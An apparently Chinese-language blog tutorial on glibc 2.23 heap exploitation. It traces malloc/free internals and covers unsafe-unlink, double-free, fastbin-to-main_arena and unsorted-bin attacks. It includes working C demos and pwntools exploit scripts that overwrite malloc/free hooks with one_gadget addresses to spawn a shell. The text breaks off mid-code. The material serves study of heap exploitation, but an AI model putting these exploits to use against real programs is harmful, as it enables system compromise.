All about fanda
All about fanda
GLIBC2.23下堆的基本利用(四重奏)

环境:glibc2.23

文件:利用demo
以后有时间了可能会做一个侧边目录23333

unsafe-unlink

  看到这了我就假设你已经看过我的malloc四部曲和free了,接下来我们将利用这些利用技巧来更深层次的理解内存管理。首先还是从简单的入手,假设有如下代码:

#include <stdio.h>
#include <stdlib.h>

int main()
{
        void *p1,*p2;

        p1=malloc(0x100);
        p2=malloc(0x100);
        malloc(0x20);

        free(p1);
        free(p2);

        return 0;
}

  为什么要malloc(0x20);?之前我们分析过,如果下一个堆块是top,那么free这个p2的时候就会发生和top堆合并的情况,但我们不让这种情况发生,所以随便垫一个堆块上去隔离掉top。malloc的情况我们已经分析过了,还记得goto use_top;吗?所以我们直接看在堆块不靠着top的情况下free(p1);发生了什么:

void
__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */

  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      //...
    }

  if (mem == 0)                              /* free(0) has no effect */
    return;

  p = mem2chunk (mem);

  if (chunk_is_mmapped (p))                       /* release mmapped memory. */
    {
      /* see if the dynamic brk/mmap threshold needs adjusting */
      //...
    }

  ar_ptr = arena_for_chunk (p);
  _int_free (ar_ptr, p, 0);
}

  调用_int_free,很熟悉,ar_ptr为main_arena,p指向了chunk头,看_int_free,跳过一些重复分析过的东西,控制流到了这里:

    /* consolidate backward */
    if (!prev_inuse(p)) {
      //...
    }

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
        //...
      } else
        clear_inuse_bit_at_offset(nextchunk, 0);

  显然我们free的堆块是堆区最上面的第一个堆块,因此prev_inuse不可能为0,也就不可能consolidate backward了。然后检查了nextchunk是不是top chunk,在我们的情况下不是,因此进入第二个if中执行,相关宏定义如下:

#define inuse_bit_at_offset(p, s)                                             \
  (((mchunkptr) (((char *) (p)) + (s)))->size & PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s)                                       \
  (((mchunkptr) (((char *) (p)) + (s)))->size &= ~(PREV_INUSE))
#define PREV_INUSE 0x1

  nextinuse就是0x20堆块的prev_inuse位,显然为1,因此不满足if条件,进入到了else,情况了nextchunk(第二个0x100堆块)的prev_inuse位,size变为了0x110。继续往下看:

#define set_head(p, s)       ((p)->size = (s))
#define set_foot(p, s)       (((mchunkptr) ((char *) (p) + (s)))->prev_size = (s))

      /*
        Place the chunk in unsorted chunk list. Chunks are
        not placed into regular bins until after they have
        been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
        {
          errstr = "free(): corrupted unsorted chunks";
          goto errout;
        }
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
        {
          //...
        }
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }
    else {
      //...
    }

  先检查unsorted bin链表状态,相当于bin->fd->bk==bin。然后在p(我们释放的堆块)的fd和bk地址处放上unsotedbin的fd和bk处的值,第一次释放的话就是unsortedbin在main_arena的地址,设置完了后main_arena中的unsortedbin的fd和bk也要修改为p的地址。因为这个堆块的释放,下一个堆块的pre_size就得设置为此堆块的大小以备下次合并的时候读取用。这一系列操作结束后堆块情况如下:

pwndbg> x/20xg 0x602000
0x602000:   0x0000000000000000  0x0000000000000111
0x602010:   0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000000
pwndbg>
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000000000
0x6020d0:   0x0000000000000000  0x0000000000000000
0x6020e0:   0x0000000000000000  0x0000000000000000
0x6020f0:   0x0000000000000000  0x0000000000000000
0x602100:   0x0000000000000000  0x0000000000000000
0x602110:   0x0000000000000110  0x0000000000000110
0x602120:   0x0000000000000000  0x0000000000000000
0x602130:   0x0000000000000000  0x0000000000000000
pwndbg> p main_arena
$2 = {
  mutex = 0,
  flags = 1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x602250,
  last_remainder = 0x0,
  bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},
  binmap = {0, 0, 0, 0},
  next = 0x7ffff7dd1b20 <main_arena>,
  next_free = 0x0,
  attached_threads = 1,
  system_mem = 135168,
  max_system_mem = 135168
}
pwndbg> x/20xg & main_arena
0x7ffff7dd1b20 <main_arena>:  0x0000000100000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>:   0x0000000000000000  0x0000000000602250
0x7ffff7dd1b80 <main_arena+96>:   0x0000000000000000  0x0000000000602000
0x7ffff7dd1b90 <main_arena+112>:  0x0000000000602000  0x00007ffff7dd1b88
0x7ffff7dd1ba0 <main_arena+128>:  0x00007ffff7dd1b88  0x00007ffff7dd1b98
0x7ffff7dd1bb0 <main_arena+144>:  0x00007ffff7dd1b98  0x00007ffff7dd1ba8
pwndbg>

  因此与合并到top不同的是,这一次会设置p和main_arena的fd和bk,还会设置下一个堆块的prev_inuse标志位和pre_size。

  分析完了第一个free之后我们来分析第二个free,这个才是重点,与之前不同的是,控制流会到达这里:

#define prev_inuse(p)       ((p)->size & PREV_INUSE)
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))

    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

  此时size为两个将被合并的堆块的size之和,p被设置到了上一个堆块,也就是准备unlink合并的堆块,而unlink就是最关键的一个宏,也是本节的核心:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                                               \
    BK = P->bk;                                                               \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                                                    \
        FD->bk = BK;                                                          \
        BK->fd = FD;                                                          \
        if (!in_smallbin_range (P->size)                                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                \
            //...                                                            \
          }                                                                   \
      }                                                                       \
}

  第一个被释放的smallbin P是unsortedbin list中唯一一个堆块,其fd和bk为unsortedbin在main_arena的地址,被赋给了FD和BK。然后对这个unsortedbin list有一个检查。按照我们之前分析的,FD->bk和BK->fd都为P的地址,因此检查不会触发错误,继续往下看,又重新将unsotedbin list中的fd和bk置位为了其在main_arena地址,然后unlink宏就结束了。其相当于执行了:

P->fd->bk=P->bk;
P->bk->fd=P->fd;
//非常经典的链表脱钩算法,记住这一个操作!

  完成unlink后的main_arena状态如下(但还没结束!),可以看到(main_arena+88)处的fd,bk被更改了:

pwndbg> p main_arena
$5 = {
  mutex = 1,
  flags = 1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x602250,
  last_remainder = 0x0,
  bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},

  _int_free剩下的代码就比较简单:

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
        //...
      } else
        clear_inuse_bit_at_offset(nextchunk, 0);

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
        {
          errstr = "free(): corrupted unsorted chunks";
          goto errout;
        }
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
        {
          p->fd_nextsize = NULL;
          p->bk_nextsize = NULL;
        }
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }

  清空了被free堆块下一个堆块的prev_inuse位,然后bck为main_arena的地址,fwd也是main_arena的地址。把被释放指针的fd和bk设置为了main_arena地址,又把main_arena中unsortedbin list的bk和fd设置为了p的地址,然后重新设置p堆块的size和下一个堆块的pre_size。最终效果如下:

pwndbg> p main_arena
$6 = {
  mutex = 0,
  flags = 1,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x602250,
  last_remainder = 0x0,
  bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},

pwndbg> x/20xg 0x602000
0x602000:   0x0000000000000000  0x0000000000000221
0x602010:   0x00007ffff7dd1b78  0x00007ffff7dd1b78
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
..........
..........
0x602220:   0x0000000000000220  0x0000000000000030
0x602230:   0x0000000000000000  0x0000000000000000
0x602240:   0x0000000000000000  0x0000000000000000
0x602250:   0x0000000000000000  0x0000000000020db1
0x602260:   0x0000000000000000  0x0000000000000000

  那么对这个demo的分析完成了,接下来就直接看看unsafe-unlink是怎么利用这个unlink宏达到攻击效果的吧。看如下demo代码:

#include <stdio.h>
#include <stdlib.h>

unsigned long chunk_link[0x10];

int main()
{
    void *p1,*p2;
    unsigned long* ptr;

    p1=malloc(0x100);
    p2=malloc(0x100);
    malloc(0x20);

  //记录这些堆块
    chunk_link[0]=p1;
    chunk_link[1]=p2;

  //伪造fd和bk
    ptr=(unsigned long*)p1;
    *(ptr+2)=(unsigned long)&chunk_link[0]-0x18;
    *(ptr+3)=(unsigned long)&chunk_link[0]-0x10;

  //伪造pre_size并抹掉prev_inuse位
    ptr=(unsigned long*)p2;
    *(ptr-2)=0x100;
    *(ptr-1)=0x110;
  //unlink修改了chunk_link记录的堆块指针
    free(p2);

  //任意地址写
    read(0,chunk_link[0],0x20);
    read(0,chunk_link[0],0x20);

    return 0;
}

  这是一段模拟了unsafe-unlink攻击导致可以任意地址写的代码,假如有一个读书笔记模拟程序,该程序可能通过malloc分配的堆块记录你写的笔记,然后你可以对你之前写的笔记重新进行修改(相当于之前分配的堆块),那么可能就会有一个全局变量保存了每个堆块的地址以方便下次进行写入读取。接下来我们开始我们的正片,伪造fd,bk后再伪造下一个堆块的pre_size和prev_inuse位!然后我们将跟踪free(p2);这个函数来分析unsafe-unlink是如何发生的,老样子,直接从_int_free的核心代码开始看起:

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

  因为我们在free(p2);之前已经通过某种手段抹掉了其prev_inuse位,因此控制流会进入这一段if执行,得到其pre_size,并把其加到size上,然后设置p减去我们伪造的pre_size而到了一个假的,不是真正的堆块上,然后进行一个unlink宏:

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;                                                               \
    BK = P->bk;                                                               \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                                                    \
        FD->bk = BK;                                                          \
        BK->fd = FD;

  现在宏内部,P就是那个假的堆块(现在称其为我们伪造的堆块),唯一需要注意的就是对这个链表的一个检查:FD->bk!=P || BK->fd!=P,FD就是P+0x10的数据,我们伪造为了&chunk_link[0]-0x18,BK就是P+0x18里的数据,我们伪造为了&chunk_link[0]-0x10,而对其bk或者fd的访问同样也是一个加0x18或者0x10的偏移,因此想象一下这个检查:

*((&chunk_link[0]-0x18)+0x18)==P
*((&chunk_link[0]-0x10)+0x10)==P

  效果岂不是相当于chunk_link[0]==P?而chunk_link[0]正是我们之前记录的堆块P(思考一下,为什么只能把堆块伪造在堆块头+0x10的位置,再往下就不行?),检查刚好被绕过了,然后再看一看我们之前分析得到的链表脱钩操作:

P->fd->bk=P->bk;
P->bk->fd=P->fd;

  这个操作的效果如下:

chunk_link[0]=p-0x10;
chunk_link[0]=p-0x18;

  free的后续代码不重要了,也就是说free函数结束后,chunk_link的内容变成了这样:

0x601080 <chunk_link>:    0x0000000000601068  0x0000000000602120
0x601090 <chunk_link+16>: 0x0000000000000000  0x0000000000000000

  这个时候,程序还以为chunk_link[0]记录的仍然是第一个堆块的地址,然后其指向的地址却已修改为了chunk_link地址的前0x18个字节,因此在你使用"编辑以前的笔记"功能的时候,效果类似如下:

read(0,chunk_link[0],0x20);

  往里写入一系列数据的时候会覆盖到我们的chunk_link,相当于chunk_link里有多少个堆块我们就可以任意写多少次。比如写0x20个'a':

pwndbg> x/20xg 0x601000
0x601000:   0x0000000000600e28  0x00007ffff7ffe168
0x601010:   0x00007ffff7dee870  0x00007ffff7a914f0
0x601020:   0x00007ffff7b04250  0x00007ffff7a2d740
0x601030:   0x00007ffff7a91130  0x0000000000000000
0x601040:   0x0000000000000000  0x0000000000000000
0x601050:   0x0000000000000000  0x0000000000000000
0x601060 <completed.7594>:    0x0000000000000000  0x6161616161616161
0x601070:   0x6161616161616161  0x6161616161616161
0x601080 <chunk_link>:    0x6161616161616161  0x0000000000602120
0x601090 <chunk_link+16>: 0x0000000000000000  0x0000000000000000
pwndbg>

  再次使用"重新编辑笔记功能",效果就等同于向0x6161616161616161地址处写入任意数据了,如果这个不是0x6161616161616161而是一些敏感的地址呢?比如__malloc_hook?比如got表?getshell就变得非常简单了:D

  unsafe-unlink的套路大多如此,一般都是直接打记录堆地址的全局变量数组了,所以没有啥另外的甜品技术。所以直接用这个技术打我们的漏洞大礼包程序来试试getshell吧,利用pwntools脚本如下:

from pwn import *

p=process('./demo')

context.log_level=1

sd=lambda x: p.send(x)
sl=lambda x: p.sendline(x)
rv=lambda x: p.recvuntil(x)
sa=lambda a,x: p.sendafter(a,x)
sla=lambda a,x: p.sendlineafter(a,x)

menu='Choice:'

def add(size,content=''):
    sla(menu,'1')
    sla('input your size:',str(size))
    sla('input your message:',content)

def delete(index):
    sla(menu,'2')
    sla('input the index: ',str(index))

def edit(index,content):
    sla(menu,'3')
    sla('input the index: ',str(index))
    sla('input your content:',content)

def show(index):
    sla(menu,'4')
    sla('input the index: ',str(index))

chunk_link=0x6020c0

#=========================
# leak libc_base

add(0x100)
add(0x100)
delete(0)
show(0)
rv('content:')
libc_base=u64(p.recv(6)+2*'\x00')-0x3c4b78
success("libc base:"+hex(libc_base))
delete(1)

#===================================
# now exploit
add(0x100)      #2
add(0x100)      #3
add(0x20)       #4

# fake the fd and bk to chunk_link
payload=p64(0)*2+p64(chunk_link-0x18)+p64(chunk_link-0x10)
payload=payload.ljust(0x100,'a')

#edit nextchunk's pre_size and prev_inuse
payload+=p64(0x100)+p64(0x110)
edit(2,payload)

delete(3)
edit(0,'a'*0x18+p64(libc_base+0x3c67a8))
edit(0,p64(libc_base+0x4526A))
#gdb.attach(p)

delete(4)

p.interactive()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

double-free

  老样子首先从一个demo程序开始看起:

#include <stdio.h>
#include <stdlib.h>

int main()
{
        void *p1,*p2,*p3;
        unsigned long* ptr;

        p1=malloc(0x50);
        p2=malloc(0x50);
        ptr=(unsigned long*)p1;

        free(p1);
        free(p2);
        free(p1);

            //从这里开始分析
        malloc(0x50);
            //伪造fd指针
        *ptr=0x61616161;

        malloc(0x50);
        malloc(0x50);
        malloc(0x50);

        return 0;
}

  因为已经对malloc的原理有过分析了,而free的原理也对fastbin有过分析了,对free的结果其实我们也能推测出来了(fastbinY记录的是最后一个被free的fastbin地址),如果不相信的话我们可以看一下main_arena:

pwndbg> p main_arena
$1 = {
  mutex = 0,
  flags = 0,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x6020c0,
  last_remainder = 0x0,
  bins = {0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b78 <main_arena+88>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>...},

  被free的堆块会在其fd处放上fastbinY里的内容(在fastbinY被修改前,这样的效果是记录旧的堆块,正好将堆块串联起来形成单链表)。所以三次free之后堆块内容如下(注意这是double free!p2后再次free p1时p1的fd会被记录为p2):

pwndbg> x/20xg 0x602000
0x602000:   0x0000000000000000  0x0000000000000061
0x602010:   0x0000000000602060  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000000
0x602030:   0x0000000000000000  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000000
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000061
0x602070:   0x0000000000602000  0x0000000000000000
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000000
pwndbg>
0x6020a0:   0x0000000000000000  0x0000000000000000
0x6020b0:   0x0000000000000000  0x0000000000000000
0x6020c0:   0x0000000000000000  0x0000000000020f41
0x6020d0:   0x0000000000000000  0x0000000000000000

  这些都是我们预料之中的,所以我们直接从free之后的malloc开始分析,同样的重复分析过的跳过,直接从_int_malloc开始看:

/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

   /*
     If the size qualifies as a fastbin, first check corresponding bin.
     This code is safe to execute even if av is not yet initialized, so we
     can try it without checking, which saves some time on this fast path.
   */

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp = *fb;
      do
        {
          victim = pp;
          if (victim == NULL)
            break;
        }
      while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim))
             != victim);
      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = "malloc(): memory corruption (fast)";
            errout:
              malloc_printerr (check_action, errstr, chunk2mem (victim), av);
              return NULL;
            }
          check_remalloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

  显然控制流会进入这里,根据我们申请的size,获取fastbinY里的堆块,然后会定义一个pp获取fastbin的fd处的地址(取单链表的下一个地址,换句话说就是在这个堆块之前被free的堆块,如果是0就说明这是第一个被free的,但在我们的情况下被修改为了任意值0x61616161,显然这是个非法的堆块地址,因此访问这个非法地址的“fd”处时会触发内存错误),后面再把fastbinY里的值更新为链表的下一个节点,也就是pp的值。

  不过注意这个fastbin_index(chunksize(victim))!=idx判断,思考一下,如果我们之前伪造的fd指向的是一个合法的地址(比如说指向另一个堆块),那么在更新fastbinY的时候就不会触发内存错误,控制流会继续往下到了fastbin(chunksize(victim))!=idx这里,在我们的情况下idx为4(由(0x60>>4)-2计算得到),victim的size假如是0x80,那么(0x80>>4)-2为6,那么就被检查出错误来了,就会发生malloc corruption,那么为了不崩溃,我们伪造的fd指向的地址处的size偏移处(p+0x8)的8字节数据必须和我们申请的相当。假如我们malloc(0x50);,那么nb就是0x60,那么伪造的fd的size处必须为0x60~0x6F,因为这样经过计算idx才相等,才能绕过检查。

  还记得上一节我们利用unsafe-unlink修改__freehook吗?这一次我们修改\_malloc_hook,利用他们getshell的原理都是一样的(修改他们的地址为libc中的one_gadget地址,一步到位),接下来展示一种利用fastbin to libc的技巧:

pwndbg> x/20xg  0x7ffff7dd1b10-0x40
0x7ffff7dd1ad0 <_IO_wide_data_0+272>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260  0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20  0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:   0x00007ffff7a92830  0x0000000000000000
0x7ffff7dd1b20 <main_arena>:  0x0000000000000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>:   0x0000000000000000  0x0000000000000000

  如上所示,我们攻击的目标是__malloc_hook,我们要把fastbin分配到这上面去!

等等?你不是说伪造的fd的size偏移处的数据要跟我们申请的size相当吗?分配到__malloc_hook上size岂不是要0x00007ffff7a92a00这么大?

  是的,的确没错,但是我们不一定要把堆块直直的分配在hook的正上方,思路猥琐一点,如果这样看__malloc_hook周围的数据:

pwndbg> x/20xg 0x7ffff7dd1aed
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000  0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000  0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:    0xfff7a9283000007f  0x000000000000007f
0x7ffff7dd1b1d: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b2d <main_arena+13>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b3d <main_arena+29>:   0x0000000000000000  0x0000000000000000

  这里不是有一个0x7F吗(滑稽)?也就是说我们把fd伪造为0x7ffff7dd1aed就可以绕过idx检查了,然后往下随意写19个字节,再把onegadget的8字节写上去就刚好覆盖\_malloc_hook了。思路有了,我就直接放demo的pwntools利用了:

from pwn import *

p=process('./demo')

context.log_level=1

sd=lambda x: p.send(x)
sl=lambda x: p.sendline(x)
rv=lambda x: p.recvuntil(x)
sa=lambda a,x: p.sendafter(a,x)
sla=lambda a,x: p.sendlineafter(a,x)

menu='Choice:'

def add(size,content=''):
    sla(menu,'1')
    sla('input your size:',str(size))
    sla('input your message:',content)

def delete(index):
    sla(menu,'2')
    sla('input the index: ',str(index))

def edit(index,content):
    sla(menu,'3')
    sla('input the index: ',str(index))
    sla('input your content:',content)

def show(index):
    sla(menu,'4')
    sla('input the index: ',str(index))

chunk_link=0x6020c0

#=========================
# leak libc_base

add(0x100)
add(0x100)
delete(0)
show(0)
rv('content:')
libc_base=u64(p.recv(6)+2*'\x00')-0x3c4b78
success("libc base:"+hex(libc_base))
delete(1)

#===================================
# now exploit
add(0x68)      #2
add(0x68)      #3
add(0x68)      #4 avoid chunk count overflow to 0xFFFF....

# double free
delete(2)
delete(3)
delete(2)

# fake the fd to __malloc_hook
add(0x68,p64(libc_base+0x3c4aed))
add(0x68)
add(0x68)
# rewrite to one_gadget
add(0x68,'a'*0x13+p64(libc_base+0x4526a))
#gdb.attach(p)

add(0x233)
p.interactive()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

fastbin to main_arena

  在这里额外介绍一个新的利用double free改写任意地址的技巧:fastbin to main_arena。就是把fastbin分配到main_arena上去,然后就可以修改main_arena上的数据达到我们的目的,比如说我们可以修改top堆块到任何位置(只要满足size检查),然后相当于就可以在任何地方分配堆块,进而可以修改任何地址的数据,不多说,demo放在下面,原理上面都已经分析过了:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *p1,*p2,*p3;
    unsigned long* ptr;

    p1=malloc(0x100);
    p2=malloc(0x100);
    free(p1);
    unsigned long libc_base=*(unsigned long*)p1-0x3c4b78;
    free(p2);
    //fprintf(stderr,"libc base:%llx\n",libc_base);

    p1=malloc(0x50);
    p2=malloc(0x50);

    p3=malloc(0x30);
    free(p3);
    ptr=(unsigned long*)p3;

  // edit fastbin fd
    *ptr=0x60;
  // 0x60 in fastbinY
    malloc(0x30);

    free(p1);
    free(p2);
    free(p1);

    malloc(0x50);
    ptr=(unsigned long*)p1;
  // edit fd to fastbinY where lays 0x60 we put on
    *ptr=libc_base+0x3c4b30;
    malloc(0x50);
    malloc(0x50);

    //chunk in the main_arena
    p1=malloc(0x50);

    // edit the top chunk
    ptr=(unsigned long*)p1;
    *(ptr+7)=libc_base+0x3c4b00;

    // chunk on the __malloc_hook
    p2=malloc(0x100);

    //edit the __malloc_hook with one_gadget
    ptr=(unsigned long*)p2;
    *ptr=libc_base+0x4526A;

    // getshell
    malloc(0x100);

    return 0;
}

/*
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
*/

unsorted-bin attack

  unsortedbin的原理其实非常简单,就是利用了unsortedbin脱钩的操作来达到一次任意地址写,但是也只能是一次,利用完成后unsortedbin list就废了,然后我们从shellphish的一个最简单的demo入手:

    unsigned long stack_var=0;

    unsigned long *p=malloc(400);
    malloc(500);

    free(p);
    p[1]=(unsigned long)(&stack_var-2);

    malloc(400);

  我同样假设你已经看过我的malloc和free两部曲了,接下来会省略一些细节,首先我们来学习什么是unsortedbin,直接看_int_free内部:

#define unsorted_chunks(M)          (bin_at (M, 1))
#define bin_at(m, i) \
  (mbinptr) (((char *) &((m)->bins[((i) - 1) * 2]))                           \
             - offsetof (struct malloc_chunk, fd))

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
  {
    //...
  }
  else if (!chunk_is_mmapped(p)) {
    if (! have_lock) {
      (void)mutex_lock(&av->mutex);
      locked = 1;
    }

    nextchunk = chunk_at_offset(p, size);

    //这里跳过安全检查
    //....

    nextsize = chunksize(nextchunk);

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
      } else
        clear_inuse_bit_at_offset(nextchunk, 0);

      /*
        Place the chunk in unsorted chunk list. Chunks are
        not placed into regular bins until after they have
        been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
        {
          errstr = "free(): corrupted unsorted chunks";
          goto errout;
        }
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
        {
          p->fd_nextsize = NULL;
          p->bk_nextsize = NULL;
        }
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
